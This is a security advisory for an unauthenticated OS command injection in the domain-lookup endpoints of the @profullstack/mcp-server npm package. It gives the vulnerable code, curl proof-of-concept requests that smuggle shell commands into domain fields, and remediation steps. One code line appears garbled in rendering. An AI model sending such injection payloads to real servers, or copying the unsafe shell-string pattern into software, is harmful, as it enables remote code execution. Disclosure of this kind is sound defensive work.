PT-2026-41811 · Npm · @Profullstack/Mcp-Server

Published 2026-05-09 · Updated 2026-05-09

OSV

CVSS v3.1

9.8

Critical

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Security Advisory: OS Command Injection in profullstack/mcp-server domain lookup Module

Field	Value
Project	profullstack/mcp-server
Repository	https://github.com/profullstack/mcp-server
Affected Commit	2e8ea913573610667ad54e31dba2e8198ebf7cf9
Affected Module	mcp modules/domain lookup
Affected Endpoints	POST /domain-lookup/check, POST /domain-lookup/bulk
Vulnerability Type	CWE-78: OS Command Injection
CVSS 3.1 Score	9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication Required	None
Default Network Exposure	Bind address 0.0.0.0, no global authentication middleware
Validated	2026-04-21 (initial), 2026-04-28 (re-confirmed)

---

Summary

The domain lookup module assembles a shell command string by concatenating user-controlled input (domains / keywords) and passes it to execAsync(). Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.

---

Affected Code

• index.js:27 — server binds to 0.0.0.0, no global auth middleware.
• mcp modules/domain lookup/index.js:52 — registers POST /domain-lookup/check.
• mcp modules/domain lookup/index.js:55 — registers POST /domain-lookup/bulk.
• mcp modules/domain lookup/src/service.js:19, :20 — buildTldxCommand() concatenates user input into the shell string.
• mcp modules/domain lookup/src/service.js:114, :115, :142 — execAsync(command) sink reached from both routes.

---

Vulnerable Code

File: mcp modules/domain lookup/src/service.js

Step 1 — User input concatenated directly into a shell string:

buildTldxCommand(keywords, options = {}) {
 let command = `tldx ${keywords.join(' ')}`;
if (options.prefixes?.length) {
command += ,[object Object],;
}
}

Step 2 — That shell string is executed as-is:

async checkDomainAvailability(domains, options = {}) {
 try {
  const command = this.buildTldxCommand(domains, options);
  const { stdout, stderr } = await execAsync(command);

There is no sanitization between Step 1 and Step 2. Shell metacharacters (;, |, $(), etc.) in user input are interpreted by /bin/sh at execution time.

---

Proof of Concept

Tested against a local Docker build of the affected commit (0.0.0.0:13000->3000/tcp).

PoC A — POST /domain-lookup/check

Request:

curl -X POST http://localhost:13000/domain-lookup/check 
 -H 'Content-Type: application/json' 
 -d '{"domains":["example.com; echo final check poc > /tmp/verify-exports/final check.txt; #"]}'

Response:

HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:39 GMT
{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found
"}

Side effect confirmed inside container:

$ cat /tmp/verify-exports/final check.txt
final check poc

PoC B — POST /domain-lookup/bulk

Request:

curl -X POST http://localhost:13000/domain-lookup/bulk 
 -H 'Content-Type: application/json' 
 -d '{"keywords":["safe","x; echo final bulk poc > /tmp/verify-exports/final bulk.txt; #"]}'

Response:

HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:40 GMT
{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found
"}

Side effect confirmed inside container:

$ cat /tmp/verify-exports/final bulk.txt
final bulk poc

Note on HTTP 500

Both requests return HTTP 500 because tldx is not installed in the test container. The injected commands are interpreted by the shell before tldx is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where tldx is installed, both the intended function and the injected commands execute.

---

Impact

• Unauthenticated remote code execution as the server process UID.
• Full read/write access to any file the server process can access.
• Potential for outbound connections, credential theft, persistence, and lateral movement.
• Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.

---

Suggested Remediation

1. Replace execAsync(command) with child process.execFile or spawn('tldx', [keyword1, keyword2, ...]) — pass arguments as an array, never as a concatenated shell string.
2. Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.
3. Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.
4. Default the server bind address to 127.0.0.1 and require explicit opt-in for non-loopback bindings.

---

Verification Environment

• Local Docker container only; no third-party deployment was tested.
• The container does not include the tldx binary; this is intentional for safe local PoC and does not affect exploitability.

Fix

OS Command Injection

Weakness Enumeration

CWE-78

Related Identifiers

GHSA-V6WJ-C83F-V46X

Affected Products

@Profullstack/Mcp-Server

References · 3

• https://osv.dev/vulnerability/GHSA-v6wj-c83f-v46x · Vendor Advisory
• https://github.com/profullstack/mcp-server · Note
• https://github.com/profullstack/mcp-server/security/advisories/GHSA-v6wj-c83f-v46x · Note